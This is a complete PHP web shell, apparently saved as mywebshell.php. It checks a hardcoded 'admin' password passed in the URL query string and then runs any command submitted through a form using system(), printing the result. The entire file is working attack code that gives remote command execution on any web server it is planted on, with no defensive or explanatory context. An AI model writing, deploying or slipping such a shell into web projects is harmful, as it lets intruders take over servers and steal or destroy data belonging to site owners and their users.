<?php
session_start();
if (isset($_SESSION['password']) || isset($_GET['password'])) {
$_SESSION['password']= isset($_GET['password'])?$_GET['password']:$_SESSION['password'];
if ($_SESSION['password']=='admin') {
if(isset($_POST['command']) && !empty($_POST['command'])) {
$command=$_POST['command'];
$ret=system($command,$out);
echo "<br>[$out]:[$ret]<hr>";
}
$strform=<<<FORM
<form method="post" action="mywebshell.php">
command:<textarea name="command" rows="5" cols="100"></textarea><br>
<input type="submit">
</form>
FORM;
echo $strform;
}
}
?>